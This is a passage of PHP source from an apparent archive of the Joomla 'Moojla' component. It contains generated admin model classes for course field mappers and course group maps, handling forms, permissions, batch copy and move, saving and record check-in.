		if (($pks_size = MoojlaHelper::checkArray($pks)) !== false ||
'bulk' === $pks)
		{
			// Set a value to know this is export method. (USE IN CUSTOM CODE TO
ALTER OUTCOME)
			$_export = true;
			// Get the user object if not set.
			if (!isset($user) || !MoojlaHelper::checkObject($user))
			{
				$user = JFactory::getUser();
			}
			// Create a new query object.
			$db = JFactory::getDBO();
			$query = $db->getQuery(true);

			// Select some fields
			$query->select('a.*');

			// From the moojla_course_field_mapper table
			$query->from($db->quoteName('#__moojla_course_field_mapper',
'a'));
			// The bulk export path
			if ('bulk' === $pks)
			{
				$query->where('a.id > 0');
			}
			// A large array of ID's will not work out well
			elseif ($pks_size > 500)
			{
				// Use lowest ID
				$query->where('a.id >= ' . (int) min($pks));
				// Use highest ID
				$query->where('a.id <= ' . (int) max($pks));
			}
			// The normal default path
			else
			{
				$query->where('a.id IN (' . implode(',',$pks) .
')');
			}
			// Implement View Level Access
			if (!$user->authorise('core.options',
'com_moojla'))
			{
				$groups = implode(',', $user->getAuthorisedViewLevels());
				$query->where('a.access IN (' . $groups . ')');
			}

			// Order the results by ordering
			$query->order('a.ordering  ASC');

			// Load the items
			$db->setQuery($query);
			$db->execute();
			if ($db->getNumRows())
			{
				$items = $db->loadObjectList();

				// Set values to display correctly.
				if (MoojlaHelper::checkArray($items))
				{
					foreach ($items as $nr => &$item)
					{
						// unset the values we don't want exported.
						unset($item->asset_id);
						unset($item->checked_out);
						unset($item->checked_out_time);
					}
				}
				// Add headers to items array.
				$headers = $this->getExImPortHeaders();
				if (MoojlaHelper::checkObject($headers))
				{
					array_unshift($items,$headers);
				}

		
/***[JCBGUI.admin_view.php_getitems_after_all.138.$$$$]***/
  /*foreach($items as $ind => $it)
  {
    $items[$ind]->field_icon = JUri::root().$it->field_icon;
  }*/
  foreach($items as $index => $it)
  {
    $items[$index]->mcoursefields_id = $it->mcoursefields;
  }/***[/JCBGUI$$$$]***/

				return $items;
			}
		}
		return false;
	}

	/**
	* Method to get header.
	*
	* @return mixed  An array of data items on success, false on failure.
	*/
	public function getExImPortHeaders()
	{
		// Get a db connection.
		$db = JFactory::getDbo();
		// get the columns
		$columns =
$db->getTableColumns("#__moojla_course_field_mapper");
		if (MoojlaHelper::checkArray($columns))
		{
			// remove the headers you don't import/export.
			unset($columns['asset_id']);
			unset($columns['checked_out']);
			unset($columns['checked_out_time']);
			$headers = new stdClass();
			foreach ($columns as $column => $type)
			{
				$headers->{$column} = $column;
			}
			return $headers;
		}
		return false;
	}
	
	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * @return  string  A store id.
	 *
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.id');
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.published');
		// Check if the value is an array
		$_access = $this->getState('filter.access');
		if (MoojlaHelper::checkArray($_access))
		{
			$id .= ':' . implode(':', $_access);
		}
		// Check if this is only an number or string
		elseif (is_numeric($_access)
		 || MoojlaHelper::checkString($_access))
		{
			$id .= ':' . $_access;
		}
		$id .= ':' . $this->getState('filter.ordering');
		$id .= ':' . $this->getState('filter.created_by');
		$id .= ':' .
$this->getState('filter.modified_by');

		return parent::getStoreId($id);
	}

	/**
	 * Build an SQL query to checkin all items left checked out longer then a
set time.
	 *
	 * @return  a bool
	 *
	 */
	protected function checkInNow()
	{
		// Get set check in time
		$time =
JComponentHelper::getParams('com_moojla')->get('check_in');

		if ($time)
		{

			// Get a db connection.
			$db = JFactory::getDbo();
			// reset query
			$query = $db->getQuery(true);
			$query->select('*');
			$query->from($db->quoteName('#__moojla_course_field_mapper'));
			$db->setQuery($query);
			$db->execute();
			if ($db->getNumRows())
			{
				// Get Yesterdays date
				$date = JFactory::getDate()->modify($time)->toSql();
				// reset query
				$query = $db->getQuery(true);

				// Fields to update.
				$fields = array(
					$db->quoteName('checked_out_time') .
'=\'0000-00-00 00:00:00\'',
					$db->quoteName('checked_out') . '=0'
				);

				// Conditions for which records should be updated.
				$conditions = array(
					$db->quoteName('checked_out') . '!=0', 
					$db->quoteName('checked_out_time') .
'<\''.$date.'\''
				);

				// Check table
				$query->update($db->quoteName('#__moojla_course_field_mapper'))->set($fields)->where($conditions);


				$db->setQuery($query);

				$db->execute();
			}
		}

		return false;
	}
}
models/course_field_mapper.php000064400000052540151165724400012562
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		course_field_mapper.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * Moojla Course_field_mapper Model
 */
class MoojlaModelCourse_field_mapper extends JModelAdmin
{
	/**
	 * The tab layout fields array.
	 *
	 * @var      array
	 */
	protected $tabLayoutFields = array(
		'details' => array(
			'left' => array(
				'coursefield',
				'mcoursefields',
				'field_icon'
			)
		)
	);

	/**
	 * @var        string    The prefix to use with controller messages.
	 * @since   1.6
	 */
	protected $text_prefix = 'COM_MOOJLA';

	/**
	 * The type alias for this content type.
	 *
	 * @var      string
	 * @since    3.2
	 */
	public $typeAlias = 'com_moojla.course_field_mapper';

	/**
	 * Returns a Table object, always creating it
	 *
	 * @param   type    $type    The table type to instantiate
	 * @param   string  $prefix  A prefix for the table class name. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JTable  A database object
	 *
	 * @since   1.6
	 */
	public function getTable($type = 'course_field_mapper', $prefix
= 'MoojlaTable', $config = array())
	{
		// add table path for when model gets used from other component
		$this->addTablePath(JPATH_ADMINISTRATOR .
'/components/com_moojla/tables');
		// get instance of the table
		return JTable::getInstance($type, $prefix, $config);
	}
    
	/**
	 * Method to get a single record.
	 *
	 * @param   integer  $pk  The id of the primary key.
	 *
	 * @return  mixed  Object on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function getItem($pk = null)
	{
		if ($item = parent::getItem($pk))
		{
			if (!empty($item->params) && !is_array($item->params))
			{
				// Convert the params field to an array.
				$registry = new Registry;
				$registry->loadString($item->params);
				$item->params = $registry->toArray();
			}

			if (!empty($item->metadata))
			{
				// Convert the metadata field to an array.
				$registry = new Registry;
				$registry->loadString($item->metadata);
				$item->metadata = $registry->toArray();
			}
		}

		return $item;
	}

	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data
(default case), false if not.
	 * @param   array    $options   Optional array of options for the form
creation.
	 *
	 * @return  mixed  A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true, $options =
array('control' => 'jform'))
	{
		// set load data option
		$options['load_data'] = $loadData;
		// check if xpath was set in options
		$xpath = false;
		if (isset($options['xpath']))
		{
			$xpath = $options['xpath'];
			unset($options['xpath']);
		}
		// check if clear form was set in options
		$clear = false;
		if (isset($options['clear']))
		{
			$clear = $options['clear'];
			unset($options['clear']);
		}

		// Get the form.
		$form = $this->loadForm('com_moojla.course_field_mapper',
'course_field_mapper', $options, $clear, $xpath);

		if (empty($form))
		{
			return false;
		}

		$jinput = JFactory::getApplication()->input;

		// The front end calls this model and uses a_id to avoid id clashes so we
need to check for that first.
		if ($jinput->get('a_id'))
		{
			$id = $jinput->get('a_id', 0, 'INT');
		}
		// The back end uses id so we use that the rest of the time and set it to
0 by default.
		else
		{
			$id = $jinput->get('id', 0, 'INT');
		}

		$user = JFactory::getUser();

		// Check for existing item.
		// Modify the form based on Edit State access controls.
		if ($id != 0 &&
(!$user->authorise('core.edit.state',
'com_moojla.course_field_mapper.' . (int) $id))
			|| ($id == 0 &&
!$user->authorise('core.edit.state', 'com_moojla')))
		{
			// Disable fields for display.
			$form->setFieldAttribute('ordering', 'disabled',
'true');
			$form->setFieldAttribute('published', 'disabled',
'true');
			// Disable fields while saving.
			$form->setFieldAttribute('ordering', 'filter',
'unset');
			$form->setFieldAttribute('published', 'filter',
'unset');
		}
		// If this is a new item insure the greated by is set.
		if (0 == $id)
		{
			// Set the created_by to this user
			$form->setValue('created_by', null, $user->id);
		}
		// Modify the form based on Edit Creaded By access controls.
		if (!$user->authorise('core.edit.created_by',
'com_moojla'))
		{
			// Disable fields for display.
			$form->setFieldAttribute('created_by',
'disabled', 'true');
			// Disable fields for display.
			$form->setFieldAttribute('created_by',
'readonly', 'true');
			// Disable fields while saving.
			$form->setFieldAttribute('created_by', 'filter',
'unset');
		}
		// Modify the form based on Edit Creaded Date access controls.
		if (!$user->authorise('core.edit.created',
'com_moojla'))
		{
			// Disable fields for display.
			$form->setFieldAttribute('created', 'disabled',
'true');
			// Disable fields while saving.
			$form->setFieldAttribute('created', 'filter',
'unset');
		}
		// Only load these values if no id is found
		if (0 == $id)
		{
			// Set redirected view name
			$redirectedView = $jinput->get('ref', null,
'STRING');
			// Set field name (or fall back to view name)
			$redirectedField = $jinput->get('field', $redirectedView,
'STRING');
			// Set redirected view id
			$redirectedId = $jinput->get('refid', 0, 'INT');
			// Set field id (or fall back to redirected view id)
			$redirectedValue = $jinput->get('field_id', $redirectedId,
'INT');
			if (0 != $redirectedValue && $redirectedField)
			{
				// Now set the local-redirected field default value
				$form->setValue($redirectedField, null, $redirectedValue);
			}
		}
		return $form;
	}

	/**
	 * Method to get the script that have to be included on the form
	 *
	 * @return string	script files
	 */
	public function getScript()
	{
		return 'media/com_moojla/js/course_field_mapper.js';
	}
    
	/**
	 * Method to test whether a record can be deleted.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to delete the record. Defaults to the
permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canDelete($record)
	{
		if (!empty($record->id))
		{
			if ($record->published != -2)
			{
				return;
			}

			$user = JFactory::getUser();
			// The record has been set. Check the record permissions.
			return $user->authorise('core.delete',
'com_moojla.course_field_mapper.' . (int) $record->id);
		}
		return false;
	}

	/**
	 * Method to test whether a record can have its state edited.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to change the state of the record.
Defaults to the permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canEditState($record)
	{
		$user = JFactory::getUser();
		$recordId = (!empty($record->id)) ? $record->id : 0;

		if ($recordId)
		{
			// The record has been set. Check the record permissions.
			$permission = $user->authorise('core.edit.state',
'com_moojla.course_field_mapper.' . (int) $recordId);
			if (!$permission && !is_null($permission))
			{
				return false;
			}
		}
		// In the absense of better information, revert to the component
permissions.
		return parent::canEditState($record);
	}
    
	/**
	 * Method override to check if you can edit an existing record.
	 *
	 * @param	array	$data	An array of input data.
	 * @param	string	$key	The name of the key for the primary key.
	 *
	 * @return	boolean
	 * @since	2.5
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		// Check specific edit permission then general edit permission.

		return JFactory::getUser()->authorise('core.edit',
'com_moojla.course_field_mapper.'. ((int) isset($data[$key]) ?
$data[$key] : 0)) or parent::allowEdit($data, $key);
	}
    
	/**
	 * Prepare and sanitise the table data prior to saving.
	 *
	 * @param   JTable  $table  A JTable object.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function prepareTable($table)
	{
		$date = JFactory::getDate();
		$user = JFactory::getUser();
		
		if (isset($table->name))
		{
			$table->name = htmlspecialchars_decode($table->name, ENT_QUOTES);
		}
		
		if (isset($table->alias) && empty($table->alias))
		{
			$table->generateAlias();
		}
		
		if (empty($table->id))
		{
			$table->created = $date->toSql();
			// set the user
			if ($table->created_by == 0 || empty($table->created_by))
			{
				$table->created_by = $user->id;
			}
			// Set ordering to the last item if not set
			if (empty($table->ordering))
			{
				$db = JFactory::getDbo();
				$query = $db->getQuery(true)
					->select('MAX(ordering)')
					->from($db->quoteName('#__moojla_course_field_mapper'));
				$db->setQuery($query);
				$max = $db->loadResult();

				$table->ordering = $max + 1;
			}
		}
		else
		{
			$table->modified = $date->toSql();
			$table->modified_by = $user->id;
		}
        
		if (!empty($table->id))
		{
			// Increment the items version number.
			$table->version++;
		}
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData() 
	{
		// Check the session for previously entered form data.
		$data =
JFactory::getApplication()->getUserState('com_moojla.edit.course_field_mapper.data',
array());

		if (empty($data))
		{
			$data = $this->getItem();
			// run the perprocess of the data
			$this->preprocessData('com_moojla.course_field_mapper',
$data);
		}

		return $data;
	}

	/**
	 * Method to get the unique fields of this table.
	 *
	 * @return  mixed  An array of field names, boolean false if none is set.
	 *
	 * @since   3.0
	 */
	protected function getUniqueFields()
	{
		return false;
	}
	
	/**
	 * Method to delete one or more records.
	 *
	 * @param   array  &$pks  An array of record primary keys.
	 *
	 * @return  boolean  True if successful, false if an error occurs.
	 *
	 * @since   12.2
	 */
	public function delete(&$pks)
	{
		if (!parent::delete($pks))
		{
			return false;
		}
		
		return true;
	}

	/**
	 * Method to change the published state of one or more records.
	 *
	 * @param   array    &$pks   A list of the primary keys to change.
	 * @param   integer  $value  The value of the published state.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   12.2
	 */
	public function publish(&$pks, $value = 1)
	{
		if (!parent::publish($pks, $value))
		{
			return false;
		}
		
		return true;
        }
    
	/**
	 * Method to perform batch operations on an item or a set of items.
	 *
	 * @param   array  $commands  An array of commands to perform.
	 * @param   array  $pks       An array of item ids.
	 * @param   array  $contexts  An array of item contexts.
	 *
	 * @return  boolean  Returns true on success, false on failure.
	 *
	 * @since   12.2
	 */
	public function batch($commands, $pks, $contexts)
	{
		// Sanitize ids.
		$pks = array_unique($pks);
		ArrayHelper::toInteger($pks);

		// Remove any values of zero.
		if (array_search(0, $pks, true))
		{
			unset($pks[array_search(0, $pks, true)]);
		}

		if (empty($pks))
		{
			$this->setError(JText::_('JGLOBAL_NO_ITEM_SELECTED'));
			return false;
		}

		$done = false;

		// Set some needed variables.
		$this->user			= JFactory::getUser();
		$this->table			= $this->getTable();
		$this->tableClassName		= get_class($this->table);
		$this->contentType		= new JUcmType;
		$this->type			=
$this->contentType->getTypeByTable($this->tableClassName);
		$this->canDo			=
MoojlaHelper::getActions('course_field_mapper');
		$this->batchSet			= true;

		if (!$this->canDo->get('core.batch'))
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
			return false;
		}
        
		if ($this->type == false)
		{
			$type = new JUcmType;
			$this->type = $type->getTypeByAlias($this->typeAlias);
		}

		$this->tagsObserver =
$this->table->getObserverOfClass('JTableObserverTags');

		if (!empty($commands['move_copy']))
		{
			$cmd = ArrayHelper::getValue($commands, 'move_copy',
'c');

			if ($cmd == 'c')
			{
				$result = $this->batchCopy($commands, $pks, $contexts);

				if (is_array($result))
				{
					foreach ($result as $old => $new)
					{
						$contexts[$new] = $contexts[$old];
					}
					$pks = array_values($result);
				}
				else
				{
					return false;
				}
			}
			elseif ($cmd == 'm' && !$this->batchMove($commands,
$pks, $contexts))
			{
				return false;
			}

			$done = true;
		}

		if (!$done)
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));

			return false;
		}

		// Clear the cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Batch copy items to a new category or current.
	 *
	 * @param   integer  $values    The new values.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  mixed  An array of new IDs on success, boolean false on
failure.
	 *
	 * @since 12.2
	 */
	protected function batchCopy($values, $pks, $contexts)
	{
		if (empty($this->batchSet))
		{
			// Set some needed variables.
			$this->user 		= JFactory::getUser();
			$this->table 		= $this->getTable();
			$this->tableClassName	= get_class($this->table);
			$this->canDo		=
MoojlaHelper::getActions('course_field_mapper');
		}

		if (!$this->canDo->get('core.create') ||
!$this->canDo->get('core.batch'))
		{
			return false;
		}

		// get list of unique fields
		$uniqueFields = $this->getUniqueFields();
		// remove move_copy from array
		unset($values['move_copy']);

		// make sure published is set
		if (!isset($values['published']))
		{
			$values['published'] = 0;
		}
		elseif (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
		{
				$values['published'] = 0;
		}

		$newIds = array();
		// Parent exists so let's proceed
		while (!empty($pks))
		{
			// Pop the first ID off the stack
			$pk = array_shift($pks);

			$this->table->reset();

			// only allow copy if user may edit this item.
			if (!$this->user->authorise('core.edit',
$contexts[$pk]))
			{
				// Not fatal error
				$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
				continue;
			}

			// Check that the row actually exists
			if (!$this->table->load($pk))
			{
				if ($error = $this->table->getError())
				{
					// Fatal error
					$this->setError($error);
					return false;
				}
				else
				{
					// Not fatal error
					$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
					continue;
				}
			}

			// Only for strings
			if (MoojlaHelper::checkString($this->table->coursefield)
&& !is_numeric($this->table->coursefield))
			{
				$this->table->coursefield =
$this->generateUnique('coursefield',$this->table->coursefield);
			}

			// insert all set values
			if (MoojlaHelper::checkArray($values))
			{
				foreach ($values as $key => $value)
				{
					if (strlen($value) > 0 && isset($this->table->$key))
					{
						$this->table->$key = $value;
					}
				}
			}

			// update all unique fields
			if (MoojlaHelper::checkArray($uniqueFields))
			{
				foreach ($uniqueFields as $uniqueField)
				{
					$this->table->$uniqueField =
$this->generateUnique($uniqueField,$this->table->$uniqueField);
				}
			}

			// Reset the ID because we are making a copy
			$this->table->id = 0;

			// TODO: Deal with ordering?
			// $this->table->ordering = 1;

			// Check the row.
			if (!$this->table->check())
			{
				$this->setError($this->table->getError());

				return false;
			}

			if (!empty($this->type))
			{
				$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
			}

			// Store the row.
			if (!$this->table->store())
			{
				$this->setError($this->table->getError());

				return false;
			}

			// Get the new item ID
			$newId = $this->table->get('id');

			// Add the new ID to the array
			$newIds[$pk] = $newId;
		}

		// Clean the cache
		$this->cleanCache();

		return $newIds;
	}

	/**
	 * Batch move items to a new category
	 *
	 * @param   integer  $value     The new category ID.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  boolean  True if successful, false otherwise and internal
error is set.
	 *
	 * @since 12.2
	 */
	protected function batchMove($values, $pks, $contexts)
	{
		if (empty($this->batchSet))
		{
			// Set some needed variables.
			$this->user		= JFactory::getUser();
			$this->table		= $this->getTable();
			$this->tableClassName	= get_class($this->table);
			$this->canDo		=
MoojlaHelper::getActions('course_field_mapper');
		}

		if (!$this->canDo->get('core.edit') &&
!$this->canDo->get('core.batch'))
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
			return false;
		}

		// make sure published only updates if user has the permission.
		if (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
		{
			unset($values['published']);
		}
		// remove move_copy from array
		unset($values['move_copy']);

		// Parent exists so we proceed
		foreach ($pks as $pk)
		{
			if (!$this->user->authorise('core.edit',
$contexts[$pk]))
			{
				$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
				return false;
			}

			// Check that the row actually exists
			if (!$this->table->load($pk))
			{
				if ($error = $this->table->getError())
				{
					// Fatal error
					$this->setError($error);
					return false;
				}
				else
				{
					// Not fatal error
					$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
					continue;
				}
			}

			// insert all set values.
			if (MoojlaHelper::checkArray($values))
			{
				foreach ($values as $key => $value)
				{
					// Do special action for access.
					if ('access' === $key && strlen($value) > 0)
					{
						$this->table->$key = $value;
					}
					elseif (strlen($value) > 0 &&
isset($this->table->$key))
					{
						$this->table->$key = $value;
					}
				}
			}


			// Check the row.
			if (!$this->table->check())
			{
				$this->setError($this->table->getError());

				return false;
			}

			if (!empty($this->type))
			{
				$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
			}

			// Store the row.
			if (!$this->table->store())
			{
				$this->setError($this->table->getError());

				return false;
			}
		}

		// Clean the cache
		$this->cleanCache();

		return true;
	}
	
	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function save($data)
	{
		$input	= JFactory::getApplication()->input;
		$filter	= JFilterInput::getInstance();
        
		// set the metadata to the Item Data
		if (isset($data['metadata']) &&
isset($data['metadata']['author']))
		{
			$data['metadata']['author'] =
$filter->clean($data['metadata']['author'],
'TRIM');
            
			$metadata = new JRegistry;
			$metadata->loadArray($data['metadata']);
			$data['metadata'] = (string) $metadata;
		}
        
		// Set the Params Items to data
		if (isset($data['params']) &&
is_array($data['params']))
		{
			$params = new JRegistry;
			$params->loadArray($data['params']);
			$data['params'] = (string) $params;
		}

		// Alter the unique field for save as copy
		if ($input->get('task') === 'save2copy')
		{
			// Automatic handling of other unique fields
			$uniqueFields = $this->getUniqueFields();
			if (MoojlaHelper::checkArray($uniqueFields))
			{
				foreach ($uniqueFields as $uniqueField)
				{
					$data[$uniqueField] =
$this->generateUnique($uniqueField,$data[$uniqueField]);
				}
			}
		}
		
		if (parent::save($data))
		{
			return true;
		}
		return false;
	}
	
	/**
	 * Method to generate a unique value.
	 *
	 * @param   string  $field name.
	 * @param   string  $value data.
	 *
	 * @return  string  New value.
	 *
	 * @since   3.0
	 */
	protected function generateUnique($field,$value)
	{

		// set field value unique
		$table = $this->getTable();

		while ($table->load(array($field => $value)))
		{
			$value = StringHelper::increment($value);
		}

		return $value;
	}

	/**
	 * Method to change the title
	 *
	 * @param   string   $title   The title.
	 *
	 * @return	array  Contains the modified title and alias.
	 *
	 */
	protected function _generateNewTitle($title)
	{

		// Alter the title
		$table = $this->getTable();

		while ($table->load(array('title' => $title)))
		{
			$title = StringHelper::increment($title);
		}

		return $title;
	}
}
models/course_group_map.php000064400000054755151165724400012136
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		course_group_map.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * Moojla Course_group_map Model
 */
class MoojlaModelCourse_group_map extends JModelAdmin
{
	/**
	 * The tab layout fields array.
	 *
	 * @var      array
	 */
	protected $tabLayoutFields = array(
		'details' => array(
			'left' => array(
				'moojlacourse',
				'role'
			),
			'right' => array(
				'course_group'
			)
		)
	);

	/**
	 * @var        string    The prefix to use with controller messages.
	 * @since   1.6
	 */
	protected $text_prefix = 'COM_MOOJLA';

	/**
	 * The type alias for this content type.
	 *
	 * @var      string
	 * @since    3.2
	 */
	public $typeAlias = 'com_moojla.course_group_map';

	/**
	 * Returns a Table object, always creating it
	 *
	 * @param   type    $type    The table type to instantiate
	 * @param   string  $prefix  A prefix for the table class name. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JTable  A database object
	 *
	 * @since   1.6
	 */
	public function getTable($type = 'course_group_map', $prefix =
'MoojlaTable', $config = array())
	{
		// add table path for when model gets used from other component
		$this->addTablePath(JPATH_ADMINISTRATOR .
'/components/com_moojla/tables');
		// get instance of the table
		return JTable::getInstance($type, $prefix, $config);
	}
    
	/**
	 * Method to get a single record.
	 *
	 * @param   integer  $pk  The id of the primary key.
	 *
	 * @return  mixed  Object on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function getItem($pk = null)
	{
		if ($item = parent::getItem($pk))
		{
			if (!empty($item->params) && !is_array($item->params))
			{
				// Convert the params field to an array.
				$registry = new Registry;
				$registry->loadString($item->params);
				$item->params = $registry->toArray();
			}

			if (!empty($item->metadata))
			{
				// Convert the metadata field to an array.
				$registry = new Registry;
				$registry->loadString($item->metadata);
				$item->metadata = $registry->toArray();
			}
		}

		return $item;
	}

	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data
(default case), false if not.
	 * @param   array    $options   Optional array of options for the form
creation.
	 *
	 * @return  mixed  A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true, $options =
array('control' => 'jform'))
	{
		// set load data option
		$options['load_data'] = $loadData;
		// check if xpath was set in options
		$xpath = false;
		if (isset($options['xpath']))
		{
			$xpath = $options['xpath'];
			unset($options['xpath']);
		}
		// check if clear form was set in options
		$clear = false;
		if (isset($options['clear']))
		{
			$clear = $options['clear'];
			unset($options['clear']);
		}

		// Get the form.
		$form = $this->loadForm('com_moojla.course_group_map',
'course_group_map', $options, $clear, $xpath);

		if (empty($form))
		{
			return false;
		}

		$jinput = JFactory::getApplication()->input;

		// The front end calls this model and uses a_id to avoid id clashes so we
need to check for that first.
		if ($jinput->get('a_id'))
		{
			$id = $jinput->get('a_id', 0, 'INT');
		}
		// The back end uses id so we use that the rest of the time and set it to
0 by default.
		else
		{
			$id = $jinput->get('id', 0, 'INT');
		}

		$user = JFactory::getUser();

		// Check for existing item.
		// Modify the form based on Edit State access controls.
		if ($id != 0 &&
(!$user->authorise('core.edit.state',
'com_moojla.course_group_map.' . (int) $id))
			|| ($id == 0 &&
!$user->authorise('core.edit.state', 'com_moojla')))
		{
			// Disable fields for display.
			$form->setFieldAttribute('ordering', 'disabled',
'true');
			$form->setFieldAttribute('published', 'disabled',
'true');
			// Disable fields while saving.
			$form->setFieldAttribute('ordering', 'filter',
'unset');
			$form->setFieldAttribute('published', 'filter',
'unset');
		}
		// If this is a new item insure the greated by is set.
		if (0 == $id)
		{
			// Set the created_by to this user
			$form->setValue('created_by', null, $user->id);
		}
		// Modify the form based on Edit Creaded By access controls.
		if (!$user->authorise('core.edit.created_by',
'com_moojla'))
		{
			// Disable fields for display.
			$form->setFieldAttribute('created_by',
'disabled', 'true');
			// Disable fields for display.
			$form->setFieldAttribute('created_by',
'readonly', 'true');
			// Disable fields while saving.
			$form->setFieldAttribute('created_by', 'filter',
'unset');
		}
		// Modify the form based on Edit Creaded Date access controls.
		if (!$user->authorise('core.edit.created',
'com_moojla'))
		{
			// Disable fields for display.
			$form->setFieldAttribute('created', 'disabled',
'true');
			// Disable fields while saving.
			$form->setFieldAttribute('created', 'filter',
'unset');
		}
		// Only load these values if no id is found
		if (0 == $id)
		{
			// Set redirected view name
			$redirectedView = $jinput->get('ref', null,
'STRING');
			// Set field name (or fall back to view name)
			$redirectedField = $jinput->get('field', $redirectedView,
'STRING');
			// Set redirected view id
			$redirectedId = $jinput->get('refid', 0, 'INT');
			// Set field id (or fall back to redirected view id)
			$redirectedValue = $jinput->get('field_id', $redirectedId,
'INT');
			if (0 != $redirectedValue && $redirectedField)
			{
				// Now set the local-redirected field default value
				$form->setValue($redirectedField, null, $redirectedValue);
			}
		}
		return $form;
	}

	/**
	 * Method to get the script that have to be included on the form
	 *
	 * @return string	script files
	 */
	public function getScript()
	{
		return 'media/com_moojla/js/course_group_map.js';
	}
    
	/**
	 * Method to test whether a record can be deleted.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to delete the record. Defaults to the
permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canDelete($record)
	{
		if (!empty($record->id))
		{
			if ($record->published != -2)
			{
				return;
			}

			$user = JFactory::getUser();
			// The record has been set. Check the record permissions.
			return $user->authorise('core.delete',
'com_moojla.course_group_map.' . (int) $record->id);
		}
		return false;
	}

	/**
	 * Method to test whether a record can have its state edited.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to change the state of the record.
Defaults to the permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canEditState($record)
	{
		$user = JFactory::getUser();
		$recordId = (!empty($record->id)) ? $record->id : 0;

		if ($recordId)
		{
			// The record has been set. Check the record permissions.
			$permission = $user->authorise('core.edit.state',
